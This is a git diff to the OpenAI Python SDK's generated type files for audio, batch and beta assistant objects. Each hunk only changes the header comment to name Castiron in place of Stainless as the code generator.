diff --git a/src/openai/types/audio/transcription_diarized_segment.py b/src/openai/types/audio/transcription_diarized_segment.py
index fcfdb3634f..d60d0077ec 100644
--- a/src/openai/types/audio/transcription_diarized_segment.py
+++ b/src/openai/types/audio/transcription_diarized_segment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/audio/transcription_include.py b/src/openai/types/audio/transcription_include.py
index 0e464ac934..1ec75622fc 100644
--- a/src/openai/types/audio/transcription_include.py
+++ b/src/openai/types/audio/transcription_include.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/audio/transcription_language.py b/src/openai/types/audio/transcription_language.py
index 0cc9221b4a..01c3d4bde8 100644
--- a/src/openai/types/audio/transcription_language.py
+++ b/src/openai/types/audio/transcription_language.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/audio/transcription_segment.py b/src/openai/types/audio/transcription_segment.py
index 522c401ebb..a9c28bb75f 100644
--- a/src/openai/types/audio/transcription_segment.py
+++ b/src/openai/types/audio/transcription_segment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
diff --git a/src/openai/types/audio/transcription_stream_event.py b/src/openai/types/audio/transcription_stream_event.py
index 77d3a3aeec..7ef93e2ddf 100644
--- a/src/openai/types/audio/transcription_stream_event.py
+++ b/src/openai/types/audio/transcription_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/audio/transcription_text_delta_event.py b/src/openai/types/audio/transcription_text_delta_event.py
index a6e83133c8..f9f95c8ef5 100644
--- a/src/openai/types/audio/transcription_text_delta_event.py
+++ b/src/openai/types/audio/transcription_text_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/audio/transcription_text_done_event.py b/src/openai/types/audio/transcription_text_done_event.py
index 266995253e..f56914079e 100644
--- a/src/openai/types/audio/transcription_text_done_event.py
+++ b/src/openai/types/audio/transcription_text_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/audio/transcription_text_segment_event.py b/src/openai/types/audio/transcription_text_segment_event.py
index e95472e6c6..70ebd36559 100644
--- a/src/openai/types/audio/transcription_text_segment_event.py
+++ b/src/openai/types/audio/transcription_text_segment_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/audio/transcription_verbose.py b/src/openai/types/audio/transcription_verbose.py
index b1a95e9c72..bcae44227f 100644
--- a/src/openai/types/audio/transcription_verbose.py
+++ b/src/openai/types/audio/transcription_verbose.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/audio/transcription_word.py b/src/openai/types/audio/transcription_word.py
index 2ce682f957..1dbf0c43d4 100644
--- a/src/openai/types/audio/transcription_word.py
+++ b/src/openai/types/audio/transcription_word.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/audio/translation.py b/src/openai/types/audio/translation.py
index efc56f7f9b..2eea7af948 100644
--- a/src/openai/types/audio/translation.py
+++ b/src/openai/types/audio/translation.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/audio/translation_create_params.py b/src/openai/types/audio/translation_create_params.py
index b23a185375..ed1a4fe557 100644
--- a/src/openai/types/audio/translation_create_params.py
+++ b/src/openai/types/audio/translation_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/audio/translation_create_response.py b/src/openai/types/audio/translation_create_response.py
index 9953813c08..983dcbfc8e 100644
--- a/src/openai/types/audio/translation_create_response.py
+++ b/src/openai/types/audio/translation_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import TypeAlias
diff --git a/src/openai/types/audio/translation_verbose.py b/src/openai/types/audio/translation_verbose.py
index 27cb02d64f..69f627dc98 100644
--- a/src/openai/types/audio/translation_verbose.py
+++ b/src/openai/types/audio/translation_verbose.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
diff --git a/src/openai/types/audio_model.py b/src/openai/types/audio_model.py
index 075190557b..ac6220d6b1 100644
--- a/src/openai/types/audio_model.py
+++ b/src/openai/types/audio_model.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/audio_response_format.py b/src/openai/types/audio_response_format.py
index 1897aaf6ed..332b79ea7b 100644
--- a/src/openai/types/audio_response_format.py
+++ b/src/openai/types/audio_response_format.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/auto_file_chunking_strategy_param.py b/src/openai/types/auto_file_chunking_strategy_param.py
index db7cbf596d..b4d6fa2257 100644
--- a/src/openai/types/auto_file_chunking_strategy_param.py
+++ b/src/openai/types/auto_file_chunking_strategy_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/batch.py b/src/openai/types/batch.py
index ece0513b35..82db362c6f 100644
--- a/src/openai/types/batch.py
+++ b/src/openai/types/batch.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/batch_create_params.py b/src/openai/types/batch_create_params.py
index 97bd2c67ed..526637ace5 100644
--- a/src/openai/types/batch_create_params.py
+++ b/src/openai/types/batch_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/batch_error.py b/src/openai/types/batch_error.py
index 1cdd808dbd..33aa64dc2d 100644
--- a/src/openai/types/batch_error.py
+++ b/src/openai/types/batch_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
diff --git a/src/openai/types/batch_list_params.py b/src/openai/types/batch_list_params.py
index ef5e966b79..172da29751 100644
--- a/src/openai/types/batch_list_params.py
+++ b/src/openai/types/batch_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/batch_request_counts.py b/src/openai/types/batch_request_counts.py
index 64a570747d..97e3977e71 100644
--- a/src/openai/types/batch_request_counts.py
+++ b/src/openai/types/batch_request_counts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/batch_usage.py b/src/openai/types/batch_usage.py
index d68d7110ac..e233ee1f83 100644
--- a/src/openai/types/batch_usage.py
+++ b/src/openai/types/batch_usage.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from .._models import BaseModel
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 32e86f4601..fd4fb80717 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant.py b/src/openai/types/beta/assistant.py
index 61344f85a1..d7f769ec9b 100644
--- a/src/openai/types/beta/assistant.py
+++ b/src/openai/types/beta/assistant.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/assistant_create_params.py b/src/openai/types/beta/assistant_create_params.py
index 24e2122cce..5ac2ee20c9 100644
--- a/src/openai/types/beta/assistant_create_params.py
+++ b/src/openai/types/beta/assistant_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_deleted.py b/src/openai/types/beta/assistant_deleted.py
index 3be40cd6b8..4792650092 100644
--- a/src/openai/types/beta/assistant_deleted.py
+++ b/src/openai/types/beta/assistant_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/assistant_list_params.py b/src/openai/types/beta/assistant_list_params.py
index 834ffbcaf8..26f5191832 100644
--- a/src/openai/types/beta/assistant_list_params.py
+++ b/src/openai/types/beta/assistant_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_response_format_option.py b/src/openai/types/beta/assistant_response_format_option.py
index 6f06a3442f..da20311f27 100644
--- a/src/openai/types/beta/assistant_response_format_option.py
+++ b/src/openai/types/beta/assistant_response_format_option.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/assistant_response_format_option_param.py b/src/openai/types/beta/assistant_response_format_option_param.py
index 5e724a4d98..c2b2c16527 100644
--- a/src/openai/types/beta/assistant_response_format_option_param.py
+++ b/src/openai/types/beta/assistant_response_format_option_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_stream_event.py b/src/openai/types/beta/assistant_stream_event.py
index 87620a11d0..e1f2284934 100644
--- a/src/openai/types/beta/assistant_stream_event.py
+++ b/src/openai/types/beta/assistant_stream_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/assistant_tool.py b/src/openai/types/beta/assistant_tool.py
index 1bde6858b1..22890a145b 100644
--- a/src/openai/types/beta/assistant_tool.py
+++ b/src/openai/types/beta/assistant_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Annotated, TypeAlias
diff --git a/src/openai/types/beta/assistant_tool_choice.py b/src/openai/types/beta/assistant_tool_choice.py
index cabded0b3c..7a0f289633 100644
--- a/src/openai/types/beta/assistant_tool_choice.py
+++ b/src/openai/types/beta/assistant_tool_choice.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/assistant_tool_choice_function.py b/src/openai/types/beta/assistant_tool_choice_function.py
index 87f38310ca..5210345f25 100644
--- a/src/openai/types/beta/assistant_tool_choice_function.py
+++ b/src/openai/types/beta/assistant_tool_choice_function.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/beta/assistant_tool_choice_function_param.py b/src/openai/types/beta/assistant_tool_choice_function_param.py
index 428857de91..51d11fa6c2 100644
--- a/src/openai/types/beta/assistant_tool_choice_function_param.py
+++ b/src/openai/types/beta/assistant_tool_choice_function_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_tool_choice_option.py b/src/openai/types/beta/assistant_tool_choice_option.py
index e57c3278fb..75c3a06f1d 100644
--- a/src/openai/types/beta/assistant_tool_choice_option.py
+++ b/src/openai/types/beta/assistant_tool_choice_option.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal, TypeAlias
diff --git a/src/openai/types/beta/assistant_tool_choice_option_param.py b/src/openai/types/beta/assistant_tool_choice_option_param.py
index cc0053d37e..f0542b795e 100644
--- a/src/openai/types/beta/assistant_tool_choice_option_param.py
+++ b/src/openai/types/beta/assistant_tool_choice_option_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_tool_choice_param.py b/src/openai/types/beta/assistant_tool_choice_param.py
index 05916bb668..28cd3fafde 100644
--- a/src/openai/types/beta/assistant_tool_choice_param.py
+++ b/src/openai/types/beta/assistant_tool_choice_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_tool_param.py b/src/openai/types/beta/assistant_tool_param.py
index 321c4b1ddb..039123e95f 100644
--- a/src/openai/types/beta/assistant_tool_param.py
+++ b/src/openai/types/beta/assistant_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/assistant_update_params.py b/src/openai/types/beta/assistant_update_params.py
index e939338615..30c07a3569 100644
--- a/src/openai/types/beta/assistant_update_params.py
+++ b/src/openai/types/beta/assistant_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_apply_patch_tool.py b/src/openai/types/beta/beta_apply_patch_tool.py
index 52e17f2a3d..a9bf206052 100644
--- a/src/openai/types/beta/beta_apply_patch_tool.py
+++ b/src/openai/types/beta/beta_apply_patch_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_apply_patch_tool_param.py b/src/openai/types/beta/beta_apply_patch_tool_param.py
index ad3b857e47..569bc3b26a 100644
--- a/src/openai/types/beta/beta_apply_patch_tool_param.py
+++ b/src/openai/types/beta/beta_apply_patch_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_compacted_response.py b/src/openai/types/beta/beta_compacted_response.py
index 9d57670fde..fc83301af3 100644
--- a/src/openai/types/beta/beta_compacted_response.py
+++ b/src/openai/types/beta/beta_compacted_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_computer_action.py b/src/openai/types/beta/beta_computer_action.py
index 146ea7b6ae..7ca06f5dc8 100644
--- a/src/openai/types/beta/beta_computer_action.py
+++ b/src/openai/types/beta/beta_computer_action.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_computer_action_list.py b/src/openai/types/beta/beta_computer_action_list.py
index a90eb35c16..7522aad982 100644
--- a/src/openai/types/beta/beta_computer_action_list.py
+++ b/src/openai/types/beta/beta_computer_action_list.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import TypeAlias
diff --git a/src/openai/types/beta/beta_computer_action_list_param.py b/src/openai/types/beta/beta_computer_action_list_param.py
index 7fe5e87b71..9914a3063b 100644
--- a/src/openai/types/beta/beta_computer_action_list_param.py
+++ b/src/openai/types/beta/beta_computer_action_list_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_computer_action_param.py b/src/openai/types/beta/beta_computer_action_param.py
index bd1ddbb3e7..c502e7b259 100644
--- a/src/openai/types/beta/beta_computer_action_param.py
+++ b/src/openai/types/beta/beta_computer_action_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_computer_tool.py b/src/openai/types/beta/beta_computer_tool.py
index 84d92748fd..0509718f52 100644
--- a/src/openai/types/beta/beta_computer_tool.py
+++ b/src/openai/types/beta/beta_computer_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_computer_tool_param.py b/src/openai/types/beta/beta_computer_tool_param.py
index eb17456b80..72f9194880 100644
--- a/src/openai/types/beta/beta_computer_tool_param.py
+++ b/src/openai/types/beta/beta_computer_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_computer_use_preview_tool.py b/src/openai/types/beta/beta_computer_use_preview_tool.py
index cc7a11a4ce..af4870df80 100644
--- a/src/openai/types/beta/beta_computer_use_preview_tool.py
+++ b/src/openai/types/beta/beta_computer_use_preview_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_computer_use_preview_tool_param.py b/src/openai/types/beta/beta_computer_use_preview_tool_param.py
index 26e52fd42a..b36adc0fe6 100644
--- a/src/openai/types/beta/beta_computer_use_preview_tool_param.py
+++ b/src/openai/types/beta/beta_computer_use_preview_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_container_auto.py b/src/openai/types/beta/beta_container_auto.py
index 2b59366773..ec4cc294f1 100644
--- a/src/openai/types/beta/beta_container_auto.py
+++ b/src/openai/types/beta/beta_container_auto.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_container_auto_param.py b/src/openai/types/beta/beta_container_auto_param.py
index 532c3d3a32..b1961ebcb2 100644
--- a/src/openai/types/beta/beta_container_auto_param.py
+++ b/src/openai/types/beta/beta_container_auto_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_container_network_policy_allowlist.py b/src/openai/types/beta/beta_container_network_policy_allowlist.py
index de1aec6476..dafdc577c2 100644
--- a/src/openai/types/beta/beta_container_network_policy_allowlist.py
+++ b/src/openai/types/beta/beta_container_network_policy_allowlist.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_container_network_policy_allowlist_param.py b/src/openai/types/beta/beta_container_network_policy_allowlist_param.py
index 49c7f626c0..7ce0985628 100644
--- a/src/openai/types/beta/beta_container_network_policy_allowlist_param.py
+++ b/src/openai/types/beta/beta_container_network_policy_allowlist_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_container_network_policy_disabled.py b/src/openai/types/beta/beta_container_network_policy_disabled.py
index 8bf050fce4..e5571f17ab 100644
--- a/src/openai/types/beta/beta_container_network_policy_disabled.py
+++ b/src/openai/types/beta/beta_container_network_policy_disabled.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_container_network_policy_disabled_param.py b/src/openai/types/beta/beta_container_network_policy_disabled_param.py
index 6310702925..7fe82215ca 100644
--- a/src/openai/types/beta/beta_container_network_policy_disabled_param.py
+++ b/src/openai/types/beta/beta_container_network_policy_disabled_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_container_network_policy_domain_secret.py b/src/openai/types/beta/beta_container_network_policy_domain_secret.py
index 68109efcb9..bcbc9df1c2 100644
--- a/src/openai/types/beta/beta_container_network_policy_domain_secret.py
+++ b/src/openai/types/beta/beta_container_network_policy_domain_secret.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/beta/beta_container_network_policy_domain_secret_param.py b/src/openai/types/beta/beta_container_network_policy_domain_secret_param.py
index 28fb2954a0..83defdb184 100644
--- a/src/openai/types/beta/beta_container_network_policy_domain_secret_param.py
+++ b/src/openai/types/beta/beta_container_network_policy_domain_secret_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_container_reference.py b/src/openai/types/beta/beta_container_reference.py
index b187918b87..e18198599e 100644
--- a/src/openai/types/beta/beta_container_reference.py
+++ b/src/openai/types/beta/beta_container_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_container_reference_param.py b/src/openai/types/beta/beta_container_reference_param.py
index 2a21da41c6..fd7d046071 100644
--- a/src/openai/types/beta/beta_container_reference_param.py
+++ b/src/openai/types/beta/beta_container_reference_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_custom_tool.py b/src/openai/types/beta/beta_custom_tool.py
index a7574a5e8e..eb80993960 100644
--- a/src/openai/types/beta/beta_custom_tool.py
+++ b/src/openai/types/beta/beta_custom_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_custom_tool_param.py b/src/openai/types/beta/beta_custom_tool_param.py
index eb3c7dcfca..c8a7dc0121 100644
--- a/src/openai/types/beta/beta_custom_tool_param.py
+++ b/src/openai/types/beta/beta_custom_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_easy_input_message.py b/src/openai/types/beta/beta_easy_input_message.py
index 256cfc2188..095351ad4c 100644
--- a/src/openai/types/beta/beta_easy_input_message.py
+++ b/src/openai/types/beta/beta_easy_input_message.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_easy_input_message_param.py b/src/openai/types/beta/beta_easy_input_message_param.py
index 317119c7c2..d4ab24bc1c 100644
--- a/src/openai/types/beta/beta_easy_input_message_param.py
+++ b/src/openai/types/beta/beta_easy_input_message_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_file_search_tool.py b/src/openai/types/beta/beta_file_search_tool.py
index 509d2c4d96..a84e284d6c 100644
--- a/src/openai/types/beta/beta_file_search_tool.py
+++ b/src/openai/types/beta/beta_file_search_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, TypeAlias
